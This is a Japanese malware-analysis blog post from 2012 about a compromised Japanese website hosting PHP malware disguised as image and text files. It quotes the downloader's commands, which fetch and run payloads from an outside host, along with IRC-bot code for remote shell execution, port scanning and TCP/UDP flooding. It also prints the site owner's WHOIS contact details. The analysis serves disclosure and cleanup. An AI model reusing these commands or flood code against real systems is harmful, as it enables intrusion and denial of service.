金曜日, 3月 30, 2012

#OCJP-030:OCNネットワークにある「ohyamanet.info/220.221.249.205」サーバがハッキングされて、PHP攻撃ツールを発見!


今回は三重県の紹介ホームページのウェブサイトがハッキングされました。サイトを見たらCMSの脆弱性がありそうです。本事件について、PHPマルウェアファイルがインジェクトされました。そして、他のマルウェアファイルがダウンロードされました、との仕組みです。本事件はよくあるパターンですので、マルウェアのファイル名はjpg/gif/txtのファイル名を設定されました。ソースコードを見たら都南アジアからの物です、マレーシア語かインドネシア語で書いてあります。
さて、レポートは下記となります↓

■感染されたドメイン↓

ohyamanet.info/220.221.249.205

■感染されたURL↓

hxxp://ohyamanet.info/sh/c.gif hxxp://ohyamanet.info/sh/id1.txt hxxp://ohyamanet.info/sh/on.jpg hxxp://www.ohyamanet.info/sh/c.gif hxxp://www.ohyamanet.info/sh/id1.txt hxxp://www.ohyamanet.info/sh/on.jpg hxxp://220.221.249.205/sh/c.gif hxxp://220.221.249.205/sh/id1.txt hxxp://220.221.249.205/sh/on.jpg

■ダウンロードが出来る証拠↓

--20:14:28-- hxxp://ohyamanet.info/sh/c.gif => `c.gif' Resolving ohyamanet.info... 220.221.249.205 Connecting to ohyamanet.info|220.221.249.205|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 10,546 (10K) [image/gif] 100%[====================================>] 10,546 --.--K/s 20:14:28 (193.83 KB/s) - `c.gif' saved [10546/10546] --20:14:37-- hxxp://ohyamanet.info/sh/id1.txt => `id1.txt' Resolving ohyamanet.info... 220.221.249.205 Connecting to ohyamanet.info|220.221.249.205|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 75 [text/plain] 100%[====================================>] 75 --.--K/s 20:14:37 (1.73 MB/s) - `id1.txt' saved [75/75] --20:25:43-- hxxp://ohyamanet.info/sh/on.jpg => `on.jpg' Resolving ohyamanet.info... 220.221.249.205 Connecting to ohyamanet.info|220.221.249.205|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 16,254 (16K) [image/jpeg] 100%[===================================> ] 16,254 --.--K/s 20:25:43 (134.49 KB/s) - `on.jpg' saved [16254/16254]

■マルウェアファイルの情報↓

-rwx------ 1 10546 Mar 7 07:42 c.gif* -rwx------ 1 75 Mar 7 07:39 id1.txt* -rwx------ 1 16254 Mar 7 07:28 on.jpg* ※↑全部実行権限が持っています、SQL Injection/XSSのトレースです。 アイコン↓

■ウイルススキャン結果↓

c.gif d5a802daf5f62e8cacceb97ae89f9b6e id1.txt e2e74f1dee3bab1ce00e03b77d9aec9b on.jpg 298cc3985a77244279719e0869d5f380 ※上記のリンクをクリックするとウイルススキャン結果と私が書いた詳細調査英語の説明を見れます

■マルウェア説明↓

本件のマルウェアが今年3月7日にインジェクトされたマルウェアです。 先にid1.txtのマルウェアがインジェクトされました、PHP実行確認の上でハッカーIDが書いてあります。 そして、「c.gif」をアップロードされて、このファイルはその他マルウェアツールのダウンローダーです。 「c.gif」の中にコマンドオップションが沢山あります、オップションにより色んなツールがダウンロードされます↓ if( $_POST['_act'] == "Psy" ) { $currentCMD = "wget hxxp://youregypt.com/files/e.tar.gz;tar -zxvf *.gz;rm -rf *.gz*";} if( $_POST['_act'] == "Shell" ) { $currentCMD = "wget hxxp://youregypt.com/files/c.gif;mv c.gif contents.php;chmod 755 contents.php;ls -la";} if( $_POST['_act'] == "Egg" ) { $currentCMD = "wget hxxp://youregypt.com/files/as.tar.gz;tar -zxvf as.tar.gz;rm -rf as.tar.gz";} if( $_POST['_act'] == "Scanner" ) { $currentCMD = "cd /tmp;wget hxxp://youregypt.com/amr/os1.txt;perl os1.txt";} if( $_POST['_act'] == "Ddos" ) { $currentCMD = "wget hxxp://youregypt.com/ad/on.jpg;mv on.jpg logo.php";} if( $_POST['_act'] == "War" ) { $currentCMD = "cd /tmp;wget hxxp://youregypt.com/files/net;perl net";} 「c.gif」で感染されたサーバの情報をリモートで見られます↓ if( $_POST['_act'] == "List!!!" ) { $currentCMD = "ls -la";} if( $_POST['_act'] == "IP" ) { $currentCMD = "/sbin/ifconfig|grep inet";} if( $_POST['_act'] == "Proc" ) { $currentCMD = "ps x";} if( $_POST['_act'] == "Memory" ) { $currentCMD = "free";} if( $_POST['_act'] == "777" ) { $currentCMD = "find . -type d -perm -2 -ls";} if( $_POST['_act'] == "nobody" ) { $currentCMD = "find / -user nobody -type d";} if( $_POST['_act'] == "apache" ) { $currentCMD = "find / -user apache -type d";} if( $_POST['_act'] == "httpd" ) { $currentCMD = "find / -user httpd -type d";} if( $_POST['_act'] == "w" ) { $currentCMD = "find / -user www -type d";} if( $_POST['_act'] == "w-d" ) { $currentCMD = "find / -user www-data -type d";} if( $_POST['_act'] == "Port" ) { $currentCMD = "netstat -an"; 「c.gif」が自殺コマンド持っています↓ if( $_POST['_act'] == "Cleaner" ) { $currentCMD = "cd /tmp;rm -rf *.txt;rm -rf *.txt*;rm -rf *.pl;rm -rf *.pl*;rm -rf *.png; rm -rf *.png*;rm -rf *.jpg;rm -rf *.jpg*";} if( $_POST['_act'] == "Suicide" ) { $currentCMD = "pkill perl;killall -9 perl;killall -9 httpd"; 続いて、「on.jpg」はIRC経由のネットワーク攻撃ツールです、「c.gif」経由でダウンロードされました。 下記は「on.jpg」の攻撃機能となります↓ IRCサーバの接続 if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start(); $ident = "st"; $alph = range("a","z"); for($i=0;$i<$this->config['maxrand'];$i++) $ident .= $alph[rand(0,25)]; if(strlen($this->config['pass'])>0) $this->send("PASS ".$this->config['pass']); $this->send("USER $ident 127.0.0.1 localhost :$ident"); $this->set_nick(); $this->main(); いくつかIRCのコマンド case "QUIT": if($this->is_logged_in($host)) {$this->log_out($host);} break; case "PART": if($this->is_logged_in($host)) {$this->log_out($host);} break; case "PRIVMSG": if(!$this->is_logged_in($host) && ($vhost == $this->config['hosta {if(substr($mcmd[0],0,1)==".") {switch(substr($mcmd[0],1)) {case "user": if($mcmd[1]==$this->config['password']) {$this->privmsg($this->config['chan'],"[\2Auth\2]: $ $this->log_in($host); }else{$this->privmsg($this->config['chan'],"[\2Auth\2]: I}break; SHELL実行コマンド $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); $exec = shell_exec($command); $ret = explode("\n",$exec); $this->privmsg($this->config['chan'],"[\2exec\2]: $command"); for($i=0;$iprivmsg($this->config['chan']," : ".trim($ret[$i])); ポートスキャナー {if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15)) $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2"); else $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2"); }break; メール送信機能… case "mail": //mail to from subject message if(count($mcmd)>4) {$header = "From: <".$mcmd[2].">"; if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)) {$this->privmsg($this->config['chan'],"[\2mail\2]: Unable to send");} else {$this->privmsg($this->config['chan'],"[\2mail\2]: Message sent to \2".$mcmd[1]."\2");}} 下記はDoS攻撃ツールです、UDPとTCPで提供されています… //TCP Flood $this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]"); $packet = ""; for($i=0;$i<$packetsize;$i++) $packet .= chr(mt_rand(1,256)); for($i=0;$i<$packets;$i++) {if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5)) {$this->privmsg($this->config['chan'],"[\2tcpflood\2]: Erro return 0;} else {fwrite($fp,$packet); fclose($fp);} sleep($delay);} $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: //UDP Flood $this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]"); $packet = ""; for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); } $timei = time(); $i = 0; while(time()-$timei < $time) { $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5); fwrite($fp,$packet); fclose($fp); $i++; } $env = $i * $packetsize; $env = $env / 1048576; $vel = $env / $time; $vel = round($vel); $env = round($env); $this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");

■感染されたサーバの環境と情報↓

Domain Name:OHYAMANET.INFO Created On:04-May-2005 22:48:50 UTC Last Updated On:25-Feb-2012 06:21:52 UTC Expiration Date:04-May-2013 22:48:50 UTC Sponsoring Registrar:GMO Internet, Inc. d/b/a Onamae.com (R110-LRMS) Status:OK Registrant ID:1203B5B9603 Registrant Name:Takahiro Ohyama Registrant Organization:Ohyama Network Corp,Inc. Registrant Street1:410-1 Wagu Registrant Street2: Registrant Street3: Registrant City:Shima-gun Shima-cyou Registrant State/Province:Mie Registrant Postal Code:517-0703 Registrant Country:JP Registrant Phone:+81.0599853946 Registrant Phone Ext.: Registrant FAX:+81.0599853971 Registrant FAX Ext.: Registrant Email: ohyaman@lilac.ocn.ne.jp / abuse@plala.or.jp インターネットルーティング図↓
----
ゼロデイ・ジャパン http://0day.jp
マルウェア研究所
Analyst: アドリアン・ヘンドリック / Hendrik ADRIAN
Sponsored by: 株式会社ケイエルジェイテック


TO BE NOTICED: All of the findings and exposed material in this site is belong to the site owner and is an original
materials. Any COPY of research material without written permission from unixfreaxjp/site owner is strictly prohibited. Any attempt to camouflage and attempt to owning this research material will be prosecuted by law.

1 件のコメント:

  1. マルウェアファイルが削除してくれまして、有難う御座いました。本件の対応は終了です。下記は証拠です。


    --14:03:40-- http://ohyamanet.info/sh/c.gif
    => `c.gif'
    Resolving ohyamanet.info... 220.221.249.205
    Connecting to ohyamanet.info|220.221.249.205|:80... connected.
    HTTP request sent, awaiting response... 404 Not Found
    14:03:40 ERROR 404: Not Found.


    --14:03:51-- http://ohyamanet.info/sh/id1.txt
    => `id1.txt'
    Resolving ohyamanet.info... 220.221.249.205
    Connecting to ohyamanet.info|220.221.249.205|:80... connected.
    HTTP request sent, awaiting response... 404 Not Found
    14:03:52 ERROR 404: Not Found.


    --14:03:59-- http://ohyamanet.info/sh/on.jpg
    => `on.jpg'
    Resolving ohyamanet.info... 220.221.249.205
    Connecting to ohyamanet.info|220.221.249.205|:80... connected.
    HTTP request sent, awaiting response... 404 Not Found
    14:04:00 ERROR 404: Not Found.

    ご協力頂き有難う御座いました。 m(_ _)m

    返信削除